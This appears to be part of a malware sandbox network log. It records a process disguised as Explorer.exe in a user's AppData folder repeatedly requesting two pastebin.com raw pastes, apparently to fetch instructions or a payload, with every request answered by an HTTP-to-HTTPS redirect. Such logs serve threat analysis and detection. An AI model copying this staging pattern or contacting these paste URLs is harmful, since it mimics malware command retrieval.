Dec 9, 2024 14:14:27.842161894 CET	472	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 09 Dec 2024 13:14:27 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 09 Dec 2024 14:14:27 GMT Location: https://pastebin.com/raw/KKpnJShN Server: cloudflare CF-RAY: 8ef54222fb7a8cd7-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	50026	172.67.19.24	80	7356	C:\Users\user\AppData\Roaming\Explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 14:14:33.110985041 CET	74	OUT	GET /raw/hbwHfEg3 HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
Dec 9, 2024 14:14:34.202969074 CET	472	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 09 Dec 2024 13:14:34 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 09 Dec 2024 14:14:34 GMT Location: https://pastebin.com/raw/hbwHfEg3 Server: cloudflare CF-RAY: 8ef5424ab8a8421d-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>
Dec 9, 2024 14:14:34.203576088 CET	50	OUT	GET /raw/KKpnJShN HTTP/1.1 Host: pastebin.com
Dec 9, 2024 14:14:34.525414944 CET	472	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 09 Dec 2024 13:14:34 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 09 Dec 2024 14:14:34 GMT Location: https://pastebin.com/raw/KKpnJShN Server: cloudflare CF-RAY: 8ef5424cbb56421d-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	50028	172.67.19.24	80	7356	C:\Users\user\AppData\Roaming\Explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 14:14:39.657366991 CET	74	OUT	GET /raw/hbwHfEg3 HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
Dec 9, 2024 14:14:40.757745028 CET	472	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 09 Dec 2024 13:14:40 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 09 Dec 2024 14:14:40 GMT Location: https://pastebin.com/raw/hbwHfEg3 Server: cloudflare CF-RAY: 8ef54273af6cc35f-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>
Dec 9, 2024 14:14:40.758641958 CET	50	OUT	GET /raw/KKpnJShN HTTP/1.1 Host: pastebin.com
Dec 9, 2024 14:14:41.078350067 CET	472	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 09 Dec 2024 13:14:40 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 09 Dec 2024 14:14:40 GMT Location: https://pastebin.com/raw/KKpnJShN Server: cloudflare CF-RAY: 8ef54275b8cac35f-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	50030	172.67.19.24	80	7356	C:\Users\user\AppData\Roaming\Explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 14:14:46.205348015 CET	74	OUT	GET /raw/hbwHfEg3 HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
Dec 9, 2024 14:14:47.302575111 CET	472	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 09 Dec 2024 13:14:47 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 09 Dec 2024 14:14:47 GMT Location: https://pastebin.com/raw/hbwHfEg3 Server: cloudflare CF-RAY: 8ef5429c991318c8-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>
Dec 9, 2024 14:14:47.313771963 CET	50	OUT	GET /raw/KKpnJShN HTTP/1.1 Host: pastebin.com
Dec 9, 2024 14:14:47.635365009 CET	472	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 09 Dec 2024 13:14:47 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 09 Dec 2024 14:14:47 GMT Location: https://pastebin.com/raw/KKpnJShN Server: cloudflare CF-RAY: 8ef5429eaaa418c8-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	50033	172.67.19.24	80	7356	C:\Users\user\AppData\Roaming\Explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 14:14:52.955337048 CET	74	OUT	GET /raw/hbwHfEg3 HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
Dec 9, 2024 14:14:54.061490059 CET	472	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 09 Dec 2024 13:14:53 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 09 Dec 2024 14:14:53 GMT Location: https://pastebin.com/raw/hbwHfEg3 Server: cloudflare CF-RAY: 8ef542c6c8397c6f-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>
Dec 9, 2024 14:14:54.066740990 CET	50	OUT	GET /raw/KKpnJShN HTTP/1.1 Host: pastebin.com
Dec 9, 2024 14:14:54.387803078 CET	472	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 09 Dec 2024 13:14:54 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 09 Dec 2024 14:14:54 GMT Location: https://pastebin.com/raw/KKpnJShN Server: cloudflare CF-RAY: 8ef542c8ea537c6f-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	50036	172.67.19.24	80	7356	C:\Users\user\AppData\Roaming\Explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 14:14:59.594583988 CET	74	OUT	GET /raw/hbwHfEg3 HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
Dec 9, 2024 14:15:00.693474054 CET	472	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 09 Dec 2024 13:15:00 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 09 Dec 2024 14:15:00 GMT Location: https://pastebin.com/raw/hbwHfEg3 Server: cloudflare CF-RAY: 8ef542f04f254364-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>
Dec 9, 2024 14:15:00.699105024 CET	50	OUT	GET /raw/KKpnJShN HTTP/1.1 Host: pastebin.com
Dec 9, 2024 14:15:01.053045988 CET	472	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 09 Dec 2024 13:15:00 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 09 Dec 2024 14:15:00 GMT Location: https://pastebin.com/raw/KKpnJShN Server: cloudflare CF-RAY: 8ef542f259984364-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	50039	172.67.19.24	80	7356	C:\Users\user\AppData\Roaming\Explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 14:15:06.222625017 CET	74	OUT	GET /raw/hbwHfEg3 HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
Dec 9, 2024 14:15:07.324852943 CET	472	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 09 Dec 2024 13:15:07 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 09 Dec 2024 14:15:07 GMT Location: https://pastebin.com/raw/hbwHfEg3 Server: cloudflare CF-RAY: 8ef54319b9474405-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>
Dec 9, 2024 14:15:07.325525999 CET	50	OUT	GET /raw/KKpnJShN HTTP/1.1 Host: pastebin.com
Dec 9, 2024 14:15:07.647357941 CET	472	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 09 Dec 2024 13:15:07 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 09 Dec 2024 14:15:07 GMT Location: https://pastebin.com/raw/KKpnJShN Server: cloudflare CF-RAY: 8ef5431bcbab4405-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	50041	172.67.19.24	80	7356	C:\Users\user\AppData\Roaming\Explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 14:15:12.782363892 CET	74	OUT	GET /raw/hbwHfEg3 HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
Dec 9, 2024 14:15:13.880243063 CET	472	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 09 Dec 2024 13:15:13 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 09 Dec 2024 14:15:13 GMT Location: https://pastebin.com/raw/hbwHfEg3 Server: cloudflare CF-RAY: 8ef54342ace3c45c-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	50043	172.67.19.24	80	7356	C:\Users\user\AppData\Roaming\Explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 14:15:14.006746054 CET	74	OUT	GET /raw/KKpnJShN HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
Dec 9, 2024 14:15:15.101675034 CET	472	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 09 Dec 2024 13:15:14 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 09 Dec 2024 14:15:14 GMT Location: https://pastebin.com/raw/KKpnJShN Server: cloudflare CF-RAY: 8ef5434a5ef8422e-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	50045	172.67.19.24	80	7356	C:\Users\user\AppData\Roaming\Explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 14:15:20.238331079 CET	74	OUT	GET /raw/hbwHfEg3 HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
Dec 9, 2024 14:15:21.386061907 CET	472	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 09 Dec 2024 13:15:21 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 09 Dec 2024 14:15:21 GMT Location: https://pastebin.com/raw/hbwHfEg3 Server: cloudflare CF-RAY: 8ef543719e9e7292-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	50047	172.67.19.24	80	7356	C:\Users\user\AppData\Roaming\Explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 14:15:21.509484053 CET	50	OUT	GET /raw/KKpnJShN HTTP/1.1 Host: pastebin.com
Dec 9, 2024 14:15:22.617626905 CET	472	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 09 Dec 2024 13:15:22 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 09 Dec 2024 14:15:22 GMT Location: https://pastebin.com/raw/KKpnJShN Server: cloudflare CF-RAY: 8ef5437949048ce8-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	50049	172.67.19.24	80	7356	C:\Users\user\AppData\Roaming\Explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 14:15:28.766935110 CET	74	OUT	GET /raw/hbwHfEg3 HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
Dec 9, 2024 14:15:29.864563942 CET	472	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 09 Dec 2024 13:15:29 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 09 Dec 2024 14:15:29 GMT Location: https://pastebin.com/raw/hbwHfEg3 Server: cloudflare CF-RAY: 8ef543a69a9d5e6d-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	50051	172.67.19.24	80	7356	C:\Users\user\AppData\Roaming\Explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 14:15:29.986428022 CET	74	OUT	GET /raw/KKpnJShN HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
